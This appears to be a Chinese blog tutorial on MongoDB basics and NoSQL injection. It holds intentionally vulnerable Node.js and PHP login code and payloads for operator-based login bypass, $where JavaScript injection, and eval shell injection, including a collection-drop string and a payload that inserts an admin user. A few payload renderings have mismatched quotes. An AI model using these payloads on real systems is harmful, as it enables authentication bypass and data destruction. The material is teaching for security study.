共计 4698 个字符,预计需要花费 12 分钟才能阅读完成。
什么是 NoSQL?
NoSQL 就是 Not Only SQL,我们知道常见的数据库除了有 Mysql,SQLITE,MSSQL 这种关系型数据库以外还有 MongoDB 这种非关系型数据库。
由于 NoSQL 具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。
c 基础
可以去 runnoob 看看
c 是一个文档型数据库,数据以类似 JSON 的文档形式存储。
MongoDB 的设计理念是为了应对大数据量、高性能和灵活性需求。
MongoDB 使用集合(Collections)来组织文档(Documents),每个文档都是由键值对组成的。
- 数据库(Database):存储数据的容器,类似于关系型数据库中的数据库。
- 集合(Collection):数据库中的一个集合,类似于关系型数据库中的表。
- 文档(Document):集合中的一个数据记录,类似于关系型数据库中的行(row),以 BSON 格式存储。

MongoDB 将数据存储为一个文档,数据结构由键值 (key=>value) 对组成,文档类似于 JSON 对象,字段值可以包含其他文档,数组及文档数组:

建议看下这个 20 分钟入门课程,对后面很有帮助mongodb 教程
基础命令
这里我们先讲一些 MongoDB 常用命令
数据库操作
show dbs #显示数据库

use test #切换到 test 数据库

值得注意的是 MongoDB 和 Mysql 不同,MySQL 不存在一个数据库的时候是无法切换到这个数据库的,但 MongoDB 可以。但是你需要创建数据后才能在 show dbs 看到这个数据库
集合操作
MongoDB 的集合有点类似 MySQL 中的表
我们可以使用 db.createCollection("test") 来创建集合

或者是我们对一个不存在的集合插入数据时就自动创建这个集合了
db.test2.insertOne({name:"Rycarl"})


要查看数据库中所有的集合,我们可以使用 show tables 或 show collections

我们可以在 find()语句里面插入条件查找我们需要的东西,这同时涉及到一个新的东西——
比较操作符

$eq (等于)
语法格式:
{field: { $eq: value} }
查找年龄等于 25 的人:
db.collection.find({age: { $eq: 25} })
$ne (不等于)
语法格式:
{field: { $ne: value} }
查找年龄不等于 25 的人:
db.collection.find({age: { $ne: 25} })
$gt (大于)
语法格式:
{field: { $gt: value} }
查找年龄大于 25 的人:
db.collection.find({age: { $gt: 25} })
$gte (大于等于)
语法格式:
{field: { $gte: value} }
查找年龄大于或等于 25 的人:
db.collection.find({age: { $gte: 25} })
$lt (小于)
语法格式:
{field: { $lt: value} }
查找年龄小于 25 的人:
db.collection.find({age: { $lt: 25} })
$lte (小于等于)
语法格式:
{field: { $lte: value} }
查找年龄小于或等于 25 的人:
db.collection.find({age: { $lte: 25} })
$in (值在数组中)
语法格式:
{field: { $in: [value1, value2, ...] } }
查找年龄在 20、25 和 30 岁之间的人:
db.collection.find({age: { $in: [20, 25, 30] } })
$nin (值不在数组中)
语法格式:
{field: { $nin: [value1, value2, ...] } }
查找年龄不在 20、25 和 30 岁之间的人:
db.collection.find({age: { $nin: [20, 25, 30] } })
NoSQL 注入
和 SQL 注入原理一样是将代码和用户输入的边界混淆
nodejs
例如
const express = require('express');
const {MongoClient} = require('mongodb');
const app = express();
app.use(express.json());
app.post('/login', async (req, res) => {const client = new MongoClient('mongodb://localhost:27017');
await client.connect();
const db = client.db('myDatabase');
const user = await db.collection('users').findOne(req.body);
if (user) {res.send("登录成功!用户 ID:" + user._id);
} else {res.send("登录失败");
}
await client.close();});
app.listen(3000, () => console.log('服务已启动'));
当我们的 Content-Type 为 application/json 时,后端会自动将 json 转换成对象导致 NoSQL 注入
假设我们传个
{“username”: “admin”, “password”: {“$gt”: “”}}
服务器后端将 password 的值实例化成对象传入导致 NoSQL 注入
这个 password 的值是{“$gt”: “”},就是大于空字符串的,只要密码存在肯定大于空字符串,即恒为真。
php
演示代码
// 假设这是你的登录处理逻辑
$username = $_POST['username'];
$password = $_POST['password'];
// 程序员以为 $username 和 $password 一定是字符串
$filter = [
'username' => $username,
'password' => $password
];
// 直接将数组传给 MongoDB 驱动
$user = $collection->findOne($filter);
if ($user) {echo "登录成功";}
在 PHP 中,如果你通过 POST 或 GET 提交参数时使用了方括号(比如 username[foo]=bar),PHP 会自动将其解析为 关联数组。
当我们传入 username[$ne]=&password[$ne]= 时候被解析为数组
会返回查找用户名不为空且密码不为空的用户,数据库直接返回第一条符合条件的记录(通常就是管理员),登录瞬间被绕过。
联合注入
类似于 SQL 注入,代码对查询语句进行了字符串拼接,然后直接查询:
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
可以这样构造:
?username=test'});return {username:db.version(),password:1};})//
MongoDB 支持 JavaScript,所以有了上面的操作,可以看到 payload 里利用了注释符,思路和 SQL 注入一样
不过现在的 PHP 等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持 JavaScript,那么也就表明,我们可以借助 JavaScript 来进行一些攻击
MongoDB Server-Side JavaScript Injection
MongoDB 允许在服务器端执行 JavaScript,主要通过以下几个核心功能 / 操作符:
$where: 它允许你传入一个 JavaScript 字符串,该字符串在服务器上对每个文档进行求值。-
mapReduce: 通过编写 map 和 reduce 函数来处理数据。 -
group: 分组查询(现已基本废弃,但旧系统可能存在)。 -
eval(已废弃): 直接在服务器上运行一段 JS 代码。
当你在代码中拼接字符串并将其传入这些函数时,攻击者就可以通过闭合你的字符串,插入他们自己的逻辑,甚至执行恶意系统操作。
比如这里
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){return true;}else{return false;}
}";
$query = new MongoDB\Driver\Query(array('$where' => $function));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {foreach ($result as $user) {$user=(array)$user;
echo '====Login Success====<br>';
echo 'username:'.$user['username']."<br>";
echo 'password:'.$user['password']."<br>";
}
}
else{echo 'Login Failed';}
?>
如果我们传入 payload: ?username=test&password=a';return true;var c=',js 就会变为:
function() {
var username = 'test';
var password = 'a; return true; var c='';
if(username == 'admin' && password == '123456'){return true;}else{return false;}
}
MongoDB Shell 注入
在 php 中 MongoDB 是有 eval 函数的,如果 eval 执行的语句里面有拼接用户输入就会导致 shell 注入
比如
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( ['eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand('test', $cmd);
?>
这里直接将 $username 拼接进语句然后执行 shell 命令,我们可以闭合后执行其他语句(有点像堆叠注入)
我们同样可以构造 payload: '});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'进行插入操作,因为是直接操作的 mongodb shell,所以在 shell 里能做的增删改查,我们都可以做。
参考文章:
https://chenlvtang.top/2021/09/29/NoSQL%E6%B3%A8%E5%85%A5%E3%81%AE%E5%88%9D%E8%A7%81/
